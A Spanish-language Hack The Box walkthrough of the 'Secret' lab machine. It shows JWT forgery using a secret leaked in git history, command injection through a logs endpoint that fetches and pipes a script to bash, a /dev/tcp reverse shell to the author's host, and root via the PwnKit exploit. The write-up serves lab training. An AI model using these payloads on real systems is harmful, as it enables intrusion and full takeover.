Máquina Secret Hack the Box

15 minute read

Realizamos un reconocimiento de los servicios que está corriendo la máquina y vemos que tiene el puerto 21 con ftp al parecer, puerto 22 con ssh y puerto 80 con un http y el puerto 3000 con un http

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #cat nmap 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: nmap
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    # Nmap 7.92 scan initiated Fri Feb  4 18:13:14 2022 as: nmap -sCV -p22,80,3000 -oN nmap 10.10.11.120
   2    Nmap scan report for 10.10.11.120
   3    Host is up (0.082s latency).
   4    
   5    PORT     STATE SERVICE VERSION
   6    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
   7    | ssh-hostkey: 
   8    |   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
   9    |   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
  10    |_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
  11    80/tcp   open  http    nginx 1.18.0 (Ubuntu)
  12    |_http-title: DUMB Docs
  13    |_http-server-header: nginx/1.18.0 (Ubuntu)
  14    3000/tcp open  http    Node.js (Express middleware)
  15    |_http-title: DUMB Docs
  16    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  17    
  18    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  19    # Nmap done at Fri Feb  4 18:13:29 2022 -- 1 IP address (1 host up) scanned in 15.77 seconds
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Primero vamos a revisar el servicio http para ver con que nos encontramos y vemos una página web llamada DUMb Docs

1.png

Dentro de ella vemos unos pasos que son para crear un jwt con unos datos que le enviemos

2.png

Vamos a realizar los pasos que tenemos para crearnos nuestro jwt, lo primero que nos dice es que debemos consumir la página en el puerto 3000 en /api/user/register, y cargar un archivo Json, con el metodo POST, para realizar esto lo vamos a hacer con la herramienta curl, nos creamos nuestro archivo y nos dice que si todo sale bien nos va a devolver un mensaje que diga “user”: “angussmoody” vamos a ver la forma de mandar un archivo por medio de curl y nos encontramos con este artículo

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #cat register.json 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: register.json
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1      {
   2        "name": "angussmoody",
   3        "email": "angussmoody@dasith.works",
   4        "password": "angussmoody123*"
   5      }
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Enviamos nuestra petición y vemos que nos devuelve el mensaje con el usuario

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #curl -X POST -H "Content-Type: application/json" -d @register.json "http://10.10.11.120:3000/api/user/register"; echo
{"user":"angussmoody"}

Ahora vamos a pasar a la parte de login, nos dice que debemos enviar un json con el email y el password en /api/user/login

3.png

Nos creamos nuestro archivo en json y nos dice que si todo sale bien, nos entregará un token

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #cat login.json 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: login.json
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1     {
   2        "email": "angussmoody@dasith.works",
   3        "password": "angussmoody123*"
   4      }
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

corremos el comando con el curl y vemos que nos entrega un token

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #curl -X POST -H "Content-Type: application/json" -d @login.json "http://10.10.11.120:3000/api/user/login"; echo
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoiYW5ndXNzbW9vZHkiLCJlbWFpbCI6ImFuZ3Vzc21vb2R5QGRhc2l0aC53b3JrcyIsImlhdCI6MTY0NDAyODgwN30.wzhR0uTJleJIGJ46gRPvuueXpEAXESQVXx1zl-zcDIU

Revisamos ese token y nos dice que no tiene asignature

4.png

Continuando con la pagina nos dice que existe un directorio llamado /priv así que vamos a probar nuestro token en este directorio

5.png

6.png

Nos envía un access Denied

7.png

Al probar con nuestro token tenemos el mismo resultado

8.png

entonces debemos tratar de encontrar un token de administrador, volviendo a la página nos descargamos un archivo que esta nos brinda

9.png

Así que pasamos a buscar en estos archivos algo que nos pueda ayudar a tener los permisos de administrador, descomprimimos el archivo y nos entrega un directorio llamado local-web

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file]
└──╼ #ll
Permissions Size User        Date Modified Name
.rwxrwxrwx   28M angussmoody  4 feb 19:55  files.zip
drwxrwxrwx     - angussmoody  3 sep  2021  local-web
┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file]
└──╼ #ll local-web/
Permissions Size User        Date Modified Name
.rwxrwxrwx   885 angussmoody  3 sep  2021  index.js
drwxrwxrwx     - angussmoody 12 ago  2021  model
drwxrwxrwx     - angussmoody 12 ago  2021  node_modules
.rwxrwxrwx   69k angussmoody 12 ago  2021  package-lock.json
.rwxrwxrwx   491 angussmoody 12 ago  2021  package.json
drwxrwxrwx     - angussmoody  3 sep  2021  public
drwxrwxrwx     - angussmoody  3 sep  2021  routes
drwxrwxrwx     - angussmoody 12 ago  2021  src
.rwxrwxrwx   651 angussmoody 12 ago  2021  validations.js

Dentro del directorio routes nos encontramos con un archivo llamado llamado private.js donde vemos un usuario llamado theadmin con una descripción

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #cat routes/private.js 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: routes/private.js
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    const router = require('express').Router();
   2    const verifytoken = require('./verifytoken')
   3    const User = require('../model/user');
   4    
   5    router.get('/priv', verifytoken, (req, res) => {
   6       // res.send(req.user)
   7    
   8        const userinfo = { name: req.user }
   9    
  10        const name = userinfo.name.name;
  11        
  12        if (name == 'theadmin'){
  13            res.json({
  14                creds:{
  15                    role:"admin", 
  16                    username:"theadmin",
  17                    desc : "welcome back admin,"
  18                }
  19            })
  20        }
  21        else{
  22            res.json({
  23                role: {
  24                    role: "you are normal user",
  25                    desc: userinfo.name.name
  26                }
  27            })
  28        }
  29    })
  30    
  31    
  32    router.get('/logs', verifytoken, (req, res) => {
  33        const file = req.query.file;
  34        const userinfo = { name: req.user }
  35        const name = userinfo.name.name;
  36        
  37        if (name == 'theadmin'){
  38            const getLogs = `git log --oneline ${file}`;
  39            exec(getLogs, (err , output) =>{
  40                if(err){
  41                    res.status(500).send(err);
  42                    return
  43                }
  44                res.json(output);
  45            })
  46        }
  47        else{
  48            res.json({
  49                role: {
  50                    role: "you are normal user",
  51                    desc: userinfo.name.name
  52                }
  53            })
  54        }
  55    })
  56    
  57    router.use(function (req, res, next) {
  58        res.json({
  59            message: {
  60    
  61                message: "404 page not found",
  62                desc: "page you are looking for is not found. "
  63            }
  64        })
  65    });
  66    
  67    
  68    module.exports = router
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

En el directorio routes no escontramos también con un archivo llamado auth.js donde nos dice como crea el token y que valida los datos _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET, donde TOKEN_SECRET debe ser la firma de éste

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #cat routes/auth.js 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: routes/auth.js
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    const router = require('express').Router();
   2    const User = require('../model/user');
   3    const bcrypt = require('bcryptjs')
   4    const jwt = require('jsonwebtoken')
   5    const { registerValidation, loginValidation} = require('../validations')
   6    
   7    router.post('/register', async (req, res) => {
   8    
   9        // validation
  10        const { error } = registerValidation(req.body)
  11        if (error) return res.status(400).send(error.details[0].message);
  12    
  13        // check if user exists
  14        const emailExist = await User.findOne({email:req.body.email})
  15        if (emailExist) return res.status(400).send('Email already Exist')
  16    
  17        // check if user name exist 
  18        const unameexist = await User.findOne({ name: req.body.name })
  19        if (unameexist) return res.status(400).send('Name already Exist')
  20    
  21        //hash the password
  22        const salt = await bcrypt.genSalt(10);
  23        const hashPaswrod = await bcrypt.hash(req.body.password, salt)
  24    
  25    
  26        //create a user 
  27        const user = new User({
  28            name: req.body.name,
  29            email: req.body.email,
  30            password:hashPaswrod
  31        });
  32    
  33        try{
  34            const saveduser = await user.save();
  35            res.send({ user: user.name})
  36        
  37        }
  38        catch(err){
  39            console.log(err)
  40        }
  41    
  42    });
  43    
  44    
  45    // login 
  46    
  47    router.post('/login', async  (req , res) => {
  48    
  49        const { error } = loginValidation(req.body)
  50        if (error) return res.status(400).send(error.details[0].message);
  51    
  52        // check if email is okay 
  53        const user = await User.findOne({ email: req.body.email })
  54        if (!user) return res.status(400).send('Email is wrong');
  55    
  56        // check password 
  57        const validPass = await bcrypt.compare(req.body.password, user.password)
  58        if (!validPass) return res.status(400).send('Password is wrong');
  59    
  60    
  61        // create jwt 
  62        const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
  63        res.header('auth-token', token).send(token);
  64    
  65    })
  66    
  67    router.use(function (req, res, next) {
  68        res.json({
  69            message: {
  70    
  71                message: "404 page not found",
  72                desc: "page you are looking for is not found. "
  73            }
  74        })
  75    });
  76    
  77    module.exports = router
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Despues de buscar un rato vamos al directorio .git para ver los logs que tiene con: log Muestra los logs de los commits

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #la
Permissions Size User        Date Modified Name
drwxrwxrwx     - angussmoody  3 sep  2021  branches
.rwxrwxrwx    38 angussmoody  8 sep  2021  COMMIT_EDITMSG
.rwxrwxrwx    92 angussmoody  3 sep  2021  config
.rwxrwxrwx    73 angussmoody  3 sep  2021  description
.rwxrwxrwx    23 angussmoody  3 sep  2021  HEAD
drwxrwxrwx     - angussmoody  3 sep  2021  hooks
.rwxrwxrwx  463k angussmoody  8 sep  2021  index
drwxrwxrwx     - angussmoody  3 sep  2021  info
drwxrwxrwx     - angussmoody  3 sep  2021  logs
drwxrwxrwx     - angussmoody  8 sep  2021  objects
drwxrwxrwx     - angussmoody  3 sep  2021  refs
┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git --help
uso: git [--version] [--help] [-C <ruta>] [-c <nombre>=<valor>]
           [--exec-path[=<ruta>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
           [--git-dir=<ruta>] [--work-tree=<ruta>] [--namespace=<nombre>]
           <comando> [<args>]

Estos son comandos comunes de Git usados en varias situaciones:

comienza un área de trabajo (ver también: git help tutorial)
   clone             Clona un repositorio dentro de un nuevo directorio
   init              Crea un repositorio de Git vacío o reinicia el que ya existe

trabaja en los cambios actuales (ver también: git help everyday)
   add               Agrega contenido de carpetas al índice
   mv                Mueve o cambia el nombre a archivos, directorios o enlaces simbólicos
   restore           Restaurar archivos de árboles de trabajo
   rm                Borra archivos del árbol de trabajo y del índice
   sparse-checkout   Inicializa y modifica el sparse-checkout

examina el historial y el estado (ver también: git help revisions)
   bisect            Use la búsqueda binaria para encontrar el commit que introdujo el bug
   diff              Muestra los cambios entre commits, commit y árbol de trabajo, etc
   grep              Imprime las líneas que concuerdan con el patron
   
   show              Muestra varios tipos de objetos
   status            Muestra el estado del árbol de trabajo

crece, marca y ajusta tu historial común
   branch            Lista, crea, o borra ramas
   commit            Graba los cambios en tu repositorio
   merge             Junta dos o más historiales de desarrollo juntos
   rebase            Vuelve a aplicar commits en la punta de otra rama
   reset             Reinicia el HEAD actual a un estado especifico
   switch            Cambiar branches
   tag               Crea, lista, borra o verifica un tag de objeto firmado con GPG

colabora (mira también: git help workflows)
   fetch             Descarga objetos y referencias de otro repositorio
   pull              Realiza un fetch e integra con otro repositorio o rama local
   push              Actualiza referencias remotas junto con sus objetos asociados

'git help -a' y 'git help -g' listan los subcomandos disponibles y algunas
guías de concepto. Consulte 'git help <command>' o 'git help <concepto>'
para leer sobre un subcomando o concepto específico.
Mira 'git help git' para una vista general del sistema.

ejecutamos el comando y vemos unas notas de los commit

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit
(END)

Ahora con el comando show podemos ver estos commit y vemos que en uno de ellos se cambió el TOKEN_SECRET

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
     
     if (name == 'theadmin'){
         res.json({
-            role:{
-
-                role:"you are admin", 
-                desc : "{flag will be here}"
+            creds:{
+                role:"admin", 
+                username:"theadmin",
+                desc : "welcome back admin,"
             }
         })
     }
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
             }
         })
     }
+})
+
 
+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+    
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })
 
 router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
 });
 
 
-module.exports = router
\ No newline at end of file
+module.exports = router
┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

Ya con estos datos podemos tratar de generar un token valido con los datos que nos dice en el archivo routes/auth.js, podemos los datos del usuario administrador que encontramos y vamos a poner el TOKEN_SECRET

10.png

Al modificarlo vamos a probar el token para ver si nos devuelve algo exitoso

11.png

Lo probamos en el burp como hicimos con nuestro token y nos devuelve un 200 ok

12.png

ya en este punto tenemos un token valido, ahora debemos buscar una forma de escalar o tener una shell, dentro del archivo private que vimos anteriormente vemos que está haciendo un llamado en /logs y vemos que llama a una variable file

  32    router.get('/logs', verifytoken, (req, res) => {
  33        const file = req.query.file;
  34        const userinfo = { name: req.user }
  35        const name = userinfo.name.name;
  36        
  37        if (name == 'theadmin'){
  38            const getLogs = `git log --oneline ${file}`;
  39            exec(getLogs, (err , output) =>{
  40                if(err){
  41                    res.status(500).send(err);
  42                    return
  43                }
  44                res.json(output);
  45            })
  46        }
  47        else{
  48            res.json({
  49                role: {
  50                    role: "you are normal user",
  51                    desc: userinfo.name.name
  52                }
  53            })
  54        }
  55    })
  56    
  57    router.use(function (req, res, next) {
  58        res.json({
  59            message: {
  60    
  61                message: "404 page not found",
  62                desc: "page you are looking for is not found. "
  63            }
  64        })
  65    });

Así que vamos a tratar de llamar este directorio y vemos que nos devuelve un mensaje

13.png

Vamos a llamar la variable y ver si nos trae algo y tratamos de ejecucar un comando, pero vemos que directamente no nos trae nada

14.png

Así que vamos a probar como en otras máquinas tratando de ejecutar algún comando poniendo un punto y coma antes para realizar otro comando y vemos que ya estamos ejecutando comandos, así que vamos a tratar de tener una reverse shell en nuestro equipo

15.png

En https://weibell.github.io/reverse-shell-generator/ podemos generar una reverse shell con bash y podemos ejecutarla de varias maneras, pero para este ejemplo vamos a crear un archivo en bash en nuestra máquina y tratamos de ejecutala con curl

16.png

Ahora nos creamos un archivo con esta reverse shell


y encodeamos la petición en urlencode

17.png

Nos creamos un servicio web en donde tenemos nuestro archivo

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #cat rev.sh 
───────┬─────────────────────────────────────────────────────────────────────
        File: rev.sh
───────┼─────────────────────────────────────────────────────────────────────
   1    bash -i >& /dev/tcp/10.10.14.139/443 0>&1
───────┴─────────────────────────────────────────────────────────────────────
┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #python3 -m http.server 80

Ponemos nuestra máquina a la escucha

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/File/local-web/.git]
└──╼ #nc -nlvp 443
listening on [any] 443 ...

y realizamos una petición por curl para ejecutar nuestro comando encodeado

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #curl -v -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRoZWFkbWluQGRhc2l0aC53b3JrcyJ9.K2fiX8ai7BImNycQHMDjwd_TudCK7T6sTJeBHSzfpSA" "http://10.10.11.120/api/logs?file=;curl+http%3A%2F%2F10.10.14.139%2Frev.sh+%7C+bash";echo
*   Trying 10.10.11.120:80...
* Connected to 10.10.11.120 (10.10.11.120) port 80 (#0)
> GET /api/logs?file=;curl+http%3A%2F%2F10.10.14.139%2Frev.sh+%7C+bash HTTP/1.1
> Host: 10.10.11.120
> User-Agent: curl/7.74.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRoZWFkbWluQGRhc2l0aC53b3JrcyJ9.K2fiX8ai7BImNycQHMDjwd_TudCK7T6sTJeBHSzfpSA
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 05 Feb 2022 04:20:03 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 105
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"69-arz5VOTSEpuFprM2d67tJcixaeo"
< 
* Connection #0 to host 10.10.11.120 left intact
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;curl http://10.10.14.139/rev.sh | bash"}

y de esta manera tenemos nuestra Reverse Shell

18.png

Vamos a ver que archivos tienen permisos SUID y vemos que tenemos el binario pkexec, así que vamos a probar el cvs que salió hace poco para escalar privilegios https://github.com/ly4k/PwnKit

dasith@secret:~/local-web$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
dasith@secret:~/local-web$

Nos descargamos el binario

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

┌─[root@angussmoody][/mnt/angussMoody/Machines/Secret]
└──╼ #ll PwnKit 
Permissions Size User        Date Modified Name
.rwxrwxrwx   14k angussmoody  4 feb 23:29  PwnKit

Y no lo pasamos a nuestra máquina victima y nos descargamos el binario

dasith@secret:/tmp$ wget http://10.10.14.139:8000/Pwnkit
wget http://10.10.14.139:8000/Pwnkit
--2022-02-05 04:36:12--  http://10.10.14.139:8000/Pwnkit
Connecting to 10.10.14.139:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14688 (14K) [application/octet-stream]
Saving to: Pwnkit

Pwnkit              100%[===================>]  14.34K  --.-KB/s    in 0.08s   

2022-02-05 04:36:12 (180 KB/s) - Pwnkit saved [14688/14688]

dasith@secret:/tmp$ chmod +x Pwnkit
chmod +x Pwnkit
dasith@secret:/tmp$ ./Pwnkit
./Pwnkit
root@secret:/tmp# whoami && id && hostname
whoami && id && hostname
root
uid=0(root) gid=0(root) groups=0(root),1000(dasith)
secret